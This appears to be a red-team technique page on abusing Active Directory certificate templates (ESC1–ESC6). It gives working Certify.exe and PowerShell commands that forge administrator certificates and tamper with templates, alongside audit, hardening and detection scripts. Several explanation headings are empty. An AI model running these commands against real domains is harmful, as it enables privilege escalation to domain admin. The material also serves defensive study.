| Attribute | Details |
|---|---|
| Technique ID | CERT-TEMPLATE-001 |
| MITRE ATT&CK v18.1 | T1649 - Steal or Forge Authentication Certificates |
| Tactic | Privilege Escalation, Lateral Movement |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | CVE-2021-27239 |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016, Server 2019, Server 2022, Server 2025 |
| Patched In | Mitigated through configuration hardening; no specific OS patch available |
| Author | SERVTEP – Pchelnikau Artur |
Concept: Certificate template abuse encompasses a family of related ADCS misconfigurations (ESC1 through ESC16) where templates are configured with insufficient security controls, allowing attackers to modify, duplicate, or escalate the privileges associated with templates. This technique differs from [CERT-ADCS-001] by focusing on how vulnerable template configurations themselves can be exploited—including scenarios where an attacker has write permissions on templates (ESC4), can escalate through enrollment agent templates (ESC3), or can manipulate Subject Alternative Names without access controls. Template abuse enables privilege escalation chains where low-privileged users become domain admins, and is often combined with other ADCS misconfigurations to achieve enterprise compromise.
Attack Surface: Active Directory Certificate Templates object (AD container: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration), enrollment permissions, Subject Alternative Name (SAN) attributes, Extended Key Usage (EKU) policies, and template property flags.
Business Impact: Complete domain compromise with multi-year persistence. An attacker can create backdoor accounts that are enterprise admins, maintain long-term access through forged certificates valid for years, bypass password policies and MFA through certificate-based authentication, and maintain access even after security incidents (as certificates persist independent of account resets).
Technical Context: Template abuse exploits can be executed in seconds once the vulnerable template is identified. Success rate is near 100% for identified misconfigurations. Detection varies based on template configuration; some attacks (e.g., ESC4 template modification) may leave subtle audit trails, while others (e.g., ESC1 enrollment) generate obvious discrepancies in event logs.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.4.1.1 | Certificate template security and access controls |
| DISA STIG | WN10-AU-000150 | Certificate Services audit requirements |
| CISA SCuBA | IA-2 (C) | Multi-factor authentication; certificate-based auth requires strong binding |
| NIST 800-53 | AC-2, AC-3, IA-2, IA-5 | Account management, access enforcement, authentication, credential management |
| GDPR | Art. 32 | Security of processing; administrative and organizational measures |
| DORA | Art. 9 | Protection and prevention measures |
| NIS2 | Art. 21 | Cyber risk management—identity and access controls |
| ISO 27001 | A.9.2.1, A.9.2.3 | User registration; management of privileged access rights |
| ISO 27005 | Risk: “Abuse of Certificate Template ACLs” | Template permissions must be restricted and audited |
Supported Versions:
Tools Required:
Supported Versions: Windows Server 2016-2025
Command (All Versions):
Certify.exe find /vulnerable
Expected Output (ESC1 Indicators):
Template Name : User
Validity Period : 1 Year
msPKI-Certificate-Name-Flag : 0x1 (ENROLLEE_SUPPLIES_SUBJECT = TRUE)
Authorized Signatures Required : 0
pkiextendedkeyusage (EKU) : Client Authentication (1.3.6.1.5.5.7.3.2)
Permissions - Enroll : Domain Users
What This Means:
OpSec & Evasion:
Command (All Versions):
Certify.exe request /ca:ca.company.local\Company-CA /template:User /altname:upn:administrator@company.local
What This Means:
Supported Versions: Windows Server 2016-2025
Command (All Versions):
Certify.exe find /vulnerable | findstr /C:"ESC3" /C:"Certificate Request Agent"
Expected Output (ESC3 Indicators):
Template Name : EnrollmentAgent
pkiextendedkeyusage : Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
msPKI-Enrollment-Flag : 0x0 (No manager approval)
Authorized Signatures Required : 0
Permissions - Enroll : Domain Users
What This Means:
1.3.6.1.4.1.311.20.2.1 is Certificate Request Agent.Command (All Versions):
Certify.exe request /ca:ca.company.local\Company-CA /template:EnrollmentAgent
Expected Output:
[+] Certificate issued and saved to EnrollmentAgent.cer
What This Means:
Command (All Versions):
Certify.exe request /ca:ca.company.local\Company-CA /template:User /onbehalfof:administrator /enrollcert:EnrollmentAgent.cer /enrollcertpw:password
What This Means:
Supported Versions: Windows Server 2016-2025
Command (PowerShell - All Versions):
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local" -Filter * -Properties nTSecurityDescriptor |
ForEach-Object {
$ACL = Get-Acl "AD:\$($_.DistinguishedName)"
$ACL.Access | Where-Object {
$_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|GenericAll" -and
$_.IdentityReference -notmatch "SYSTEM|Administrators|Enterprise Admins"
} | Select-Object IdentityReference, ActiveDirectoryRights
}
What This Means:
Command (PowerShell - All Versions):
# Get the vulnerable template
$TemplatePath = "AD:\CN=ServerTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local"
$Template = Get-ADObject $TemplatePath -Properties msPKI-Certificate-Name-Flag
# Modify to enable ENROLLEE_SUPPLIES_SUBJECT (bit 0x1)
$CurrentFlag = [int]$Template.'msPKI-Certificate-Name-Flag'
$NewFlag = $CurrentFlag -bor 0x1 # Set bit 0
Set-ADObject $TemplatePath -Replace @{"msPKI-Certificate-Name-Flag" = $NewFlag}
Write-Host "[+] Template modified. Waiting for AD replication..."
Start-Sleep -Seconds 30
What This Means:
Command (PowerShell - All Versions):
Certify.exe request /ca:ca.company.local\Company-CA /template:ServerTemplate /altname:upn:administrator@company.local
What This Means:
Command (PowerShell - All Versions):
# Restore original template configuration
$TemplatePath = "AD:\CN=ServerTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local"
Set-ADObject $TemplatePath -Replace @{"msPKI-Certificate-Name-Flag" = $OriginalFlag}
Write-Host "[+] Template restored to original configuration"
OpSec & Evasion:
Supported Versions: Windows Server 2016-2025
Command (PowerShell - All Versions):
Certify.exe find /vulnerable | findstr /C:"ESC2"
Expected Output (ESC2 Indicators):
Template Name : HighPrivilegeTemplate
msPKI-Certificate-Name-Flag : 0x1 (ENROLLEE_SUPPLIES_SUBJECT)
msPKI-Enterprise-Oid : (empty or overly permissive)
pkiextendedkeyusage : Multiple EKUs (e.g., Server Auth + Client Auth)
Permissions - Enroll : Domain Users
What This Means:
Command (Certify.exe - All Versions):
Certify.exe request /ca:ca.company.local\Company-CA /template:HighPrivilegeTemplate /altname:upn:administrator@company.local
What This Means:
Supported Versions: Windows Server 2016-2025
Command (PowerShell - All Versions):
# On the CA server, check the registry flag
$CertFlag = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\Company-CA" -Name "EditFlags" -ErrorAction SilentlyContinue
if ($CertFlag.EditFlags -band 0x00000200) {
Write-Host "CRITICAL: EDITF_ATTRIBUTESUBJECTALTNAME2 is enabled!"
Write-Host "Any unprivileged user can request certificates with arbitrary SANs."
} else {
Write-Host "OK: Flag is not set"
}
What This Means:
Command (Certify.exe - All Versions):
# If EDITF_ATTRIBUTESUBJECTALTNAME2 is set, even a restricted template becomes exploitable
Certify.exe request /ca:ca.company.local\Company-CA /template:User /altname:upn:domain-admin@company.local
What This Means:
Registry (CA Server):
HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\[CA-Name]\EditFlags – CA-level misconfiguration flags.Event Logs:
File System:
.cer, .pfx) in temp directories.1. Audit All Certificate Templates for Misconfigurations
Run a comprehensive assessment to identify all vulnerable templates.
Command (PowerShell - All Versions):
# Comprehensive template audit script
$TemplateBase = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration"
$ConfigNC = "DC=company,DC=local"
$TemplatePath = "$TemplateBase,$ConfigNC"
Get-ADObject -SearchBase $TemplatePath -Filter * -Properties * | ForEach-Object {
$Template = $_
$Flag = [int]$Template.'msPKI-Certificate-Name-Flag'
$EKU = $Template.'pkiextendedkeyusage'
$Enrollment = $Template.'msPKI-Enrollment-Flag'
# Check for ESC1 indicators
if (($Flag -band 0x1) -and ($EKU -match "1.3.6.1.5.5.7.3.2")) {
Write-Host "WARNING: $($Template.Name) is potentially ESC1-vulnerable"
}
# Check for template ACL issues
$ACL = Get-Acl "AD:\$($Template.DistinguishedName)"
$ACL.Access | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|GenericAll"} | ForEach-Object {
Write-Host "WARNING: $($Template.Name) has $($_.ActiveDirectoryRights) for $($_.IdentityReference)"
}
}
2. Remove ENROLLEE_SUPPLIES_SUBJECT from All Templates
Enforce that only the CA can set the subject.
Command (PowerShell - All Versions):
$TemplateBase = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration"
$ConfigNC = "DC=company,DC=local"
Get-ADObject -SearchBase "$TemplateBase,$ConfigNC" -Filter * -Properties 'msPKI-Certificate-Name-Flag' | ForEach-Object {
$Template = $_
$Flag = [int]$Template.'msPKI-Certificate-Name-Flag'
if ($Flag -band 0x1) {
$NewFlag = $Flag -bxor 0x1 # Clear bit 0
Set-ADObject $_.DistinguishedName -Replace @{"msPKI-Certificate-Name-Flag" = $NewFlag}
Write-Host "[+] Disabled ENROLLEE_SUPPLIES_SUBJECT on $($Template.Name)"
}
}
3. Restrict Template Enrollment Permissions
Limit enrollment rights to specific, trusted groups.
Command (PowerShell - All Versions):
# Remove Domain Users from all templates; keep only Help Desk and Admin groups
$TemplateBase = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration"
$ConfigNC = "DC=company,DC=local"
Get-ADObject -SearchBase "$TemplateBase,$ConfigNC" -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
$ACL = Get-Acl "AD:\$($_.DistinguishedName)"
# Identify and remove Domain Users
$DomainUsersRule = $ACL.Access | Where-Object {
$_.IdentityReference -match "Domain Users" -and
$_.ActiveDirectoryRights -match "CreateChild|Self"
}
if ($DomainUsersRule) {
$ACL.RemoveAccessRule($DomainUsersRule)
Set-Acl -Path "AD:\$($_.DistinguishedName)" -AclObject $ACL
Write-Host "[+] Removed Domain Users from $($_.Name)"
}
}
4. Disable EDITF_ATTRIBUTESUBJECTALTNAME2 Registry Flag
On all CA servers, ensure this dangerous flag is not set.
Command (PowerShell - All Versions):
# On the CA server itself
$CertFlag = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\[CA-Name]" -Name "EditFlags" -ErrorAction SilentlyContinue
if ($CertFlag.EditFlags -band 0x00000200) {
$NewFlag = $CertFlag.EditFlags -bxor 0x00000200
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\[CA-Name]" -Name "EditFlags" -Value $NewFlag
Write-Host "[+] Disabled EDITF_ATTRIBUTESUBJECTALTNAME2"
Restart-Service CertSvc
}
1. Enable Certificate Services Auditing
Ensure all certificate requests and issuances are logged.
Manual Steps (Server 2016-2019):
Manual Steps (PowerShell - All Versions):
# Enable Certificate Services auditing via certutil
certutil -setreg CA\AuditFilter 127 # Enable all auditing (value 127 = all flags)
net stop CertSvc
net start CertSvc
2. Implement PKI-Only Kerberos Pre-Authentication
Enforce PKINIT as the only certificate-based authentication method; disable alternatives.
Command (PowerShell - All Versions):
# On domain controller, restrict PKINIT usage
$DCPath = "AD:\CN=MachineDefaults,CN=PKINIT,CN=Public Key Services,CN=Services,CN=Configuration,DC=company,DC=local"
Get-ADObject $DCPath -Properties msPKI-Pkinit-Ekus | Select-Object Name, msPKI-Pkinit-Ekus
Event Log Indicators:
File System Indicators:
.cer, .pfx, .key files in C:\Windows\Temp, C:\Temp, or user AppData directories.| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CERT-001] ADCS Enumeration | Identify CA servers and certificate templates. |
| 2 | Initial Access | [IA-VALID-001] Valid Account | Compromise low-privileged domain account. |
| 3 | Credential Access | [CERT-TEMPLATE-001] | Abuse misconfigured template to forge admin certificate. |
| 4 | Privilege Escalation | [PE-TOKEN-001] Token Impersonation | Use certificate to request Kerberos TGT as admin. |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Create persistent backdoor admin account. |
| 6 | Lateral Movement | [LM-AUTH-001] Pass-the-Ticket | Use admin TGT to move laterally. |